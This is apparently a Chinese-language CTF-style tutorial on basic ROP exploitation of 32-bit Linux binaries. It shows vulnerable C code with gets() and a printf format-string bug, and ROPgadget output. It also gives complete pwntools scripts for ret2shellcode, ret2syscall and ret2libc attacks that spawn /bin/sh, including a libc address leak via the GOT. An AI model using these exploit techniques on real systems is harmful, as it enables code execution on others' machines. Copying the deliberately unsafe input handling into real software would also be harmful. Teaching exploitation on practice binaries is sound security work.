基本ROP讲解

#include <stdio.h>
#include <stdlib.h>
char buf[10];
int main(int arg, char **args)
{
    char s[10]; 
    puts("start !!!");
    gets(s);
    strncpy(buf, s, 10);
    printf(buf);
    printf("\nend !!!");
    return 0;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

这里为什么要在get处设置断点？
因为知道s的地址才能计算出相对于ebp的偏移，此处esp刚好存储s的的地址
0x804858c <main+95>:    lea    eax,[esp+0x1c]
0x8048590 <main+99>:    mov    DWORD PTR [esp],eax
当然您可以选择其它位置，只不过这里更便捷。

from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))  //含有shellcode的6c个字节+4个字节+buf2地址
sh.interactive()

>>> asm(shellcraft.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
>>> asm(shellcraft.sh()).ljust(112, 'A')
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
所以我们也可以直接构造，pwntools提供了shellcraft模块更方便。
shellcraft模块是shellcode的模块，包含一些生成shellcode的函数。
这里的shellcraft.sh()则是执行/bin/sh的shellcode
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
shellcode.ljust(112, 'A') + p32(buf2_addr)

LOAD:08048154   00000013    C   /lib/ld-linux.so.2
LOAD:080482C9   0000000A    C   libc.so.6
LOAD:080482D3   0000000F    C   _IO_stdin_used
LOAD:080482E2   00000005    C   gets
LOAD:080482E7   00000006    C   srand
LOAD:080482ED   0000000F    C   __isoc99_scanf
LOAD:080482FC   00000005    C   puts
LOAD:08048301   00000005    C   time
LOAD:08048306   00000006    C   stdin
LOAD:0804830C   00000007    C   printf
LOAD:08048313   00000007    C   stdout
LOAD:0804831A   00000007    C   system
LOAD:08048321   00000008    C   setvbuf
LOAD:08048329   00000012    C   __libc_start_main
LOAD:0804833B   0000000F    C   __gmon_start__
LOAD:0804834A   0000000A    C   GLIBC_2.7
LOAD:08048354   0000000A    C   GLIBC_2.0
.rodata:08048763    00000008    C   /bin/sh
.rodata:0804876C    00000037    C   There is something amazing here, do you know anything?
.rodata:080487A4    00000022    C   Maybe I will tell you next time !
.eh_frame:08048833  00000005    C   ;*2$\"

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

在计算中，系统调用是一种编程方式，计算机程序从该程序中向执行其的操作系统内核请求服务。这可能包括与硬件相关的服务（例如，访问硬盘驱动器），创建和执行新进程以及与诸如进程调度之类的集成内核服务进行通信。系统调用提供了进程与操作系统之间的基本接口。

用户态：user_space（或用户空间）是指在操作系统内核之外运行的所有代码。user_space通常是指操作系统用于与内核交互的各种程序和库：执行输入/输出，操纵文件系统对象的软件，应用程序软件等。也就是上层应用程序的活动空间，应用程序的执行必须依托于内核提供的资源
内核态：控制计算机的硬件资源，并提供上层应用程序运行的环境，cpu可以访问内存的所有数据，包括外围设备，例如硬盘，网卡，cpu也可以将自己从一个程序切换到另一个程序。
两中空间的分离可提供内存保护和硬件保护，以防止恶意或错误的软件行为。
系统调用：为了使上层应用能够访问到这些资源，内核为上层应用提供访问的接口。

section .text
    global _start 
_start:
    mov edx, len      ;message length
    mov ecx, msg     ;message to write
    mov ebx, 1      ;file descriptor (stdout)
    mov eax, 4      ;system call number (sys_write)
    int 0x80            ;call kernel
    mov eax, 1      ;system call number (sys_exit)
    int 0x80            ;call kernel

section .data
msg db  'Hello World',0xa
len equ $ - msg

sys_write(unsigned int fd, const char __user *buf, size_t count);

set_system_gate(0x80,&system_call);

; NASM
int execve(const char *filename, char *const argv[], char *const envp[]); 
mov eax, 0xb                ; execve系统调用号为11
mov ebx, filename   
mov ecx, argv
mov edx, envp
int 0x80                    ; 触发系统调用

pop eax
ret

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system         proc near               ; CODE XREF: secure+44↓p
.plt:08048460 command         = dword ptr  4
.plt:08048460                 jmp     ds:off_804A018
.plt:08048460 _system         endp

binsh_addr = 0x8048720
system_plt = 0x8048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])

.plt:08048490 ; int system(const char *command)
.plt:08048490 _system         proc near               ; CODE XREF: secure+44↓p
.plt:08048490 command         = dword ptr  4
.plt:08048490                 jmp     ds:off_804A01C
.plt:08048490 _system         endp

程序在读写数据的时候是通过地址查找的,如果函数调用之前的堆栈与函数调用之后的堆栈不一致,就可能导致找不到数据或找到的数据错误,那么久有可能导致程序崩溃。

.plt:08048460 _gets           proc near               ; CODE XREF: main+72↓p
.plt:08048460 s               = dword ptr  4
.plt:08048460                 jmp     ds:off_804A010
.plt:08048460 _gets           endp

.bss:0804A080 ; char buf2[100]

gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x804a080
payload = flat(['a' * 112, gets_plt, system_plt, buf2, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')

from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = flat(["A" * 112, puts_plt,  "A"  * 4, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))
print "[*]puts addr: " + hex(puts_addr)

pwn@pwn-PC:~/Desktop$ python ret2libc.py 
[+] Starting local process './ret2libc3': pid 45169
[*] '/home/pwn/Desktop/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] u'/usr/lib/i386-linux-gnu/libc-2.24.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*]puts addr: 0xf7d6f880
[*] Stopped process './ret2libc3' (pid 45169)

main_addr = elf.symbols['main']
程序运行起来后main_addr就是真实地址了
之后相减获取基址
libc.address = puts_addr - libc.symbols['puts']
然后获取system和'/bin/sh'的地址
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = flat(["A" * 112, puts_plt, main_addr, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))

libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
payload2 = flat(["B" * 104, system_addr, "B" * 4, binsh_addr])
sh.sendline(payload2)
sh.interactive()

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)

from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = flat(["A" * 112, puts_plt, main_addr, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))

gets_plt = 0x08048440
buf2 = 0x804a080
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']

payload2 = flat(['a' * 104, gets_plt, system_addr, buf2, buf2])
sh.sendline(payload2)
sh.sendline('/bin/sh')
sh.interactive()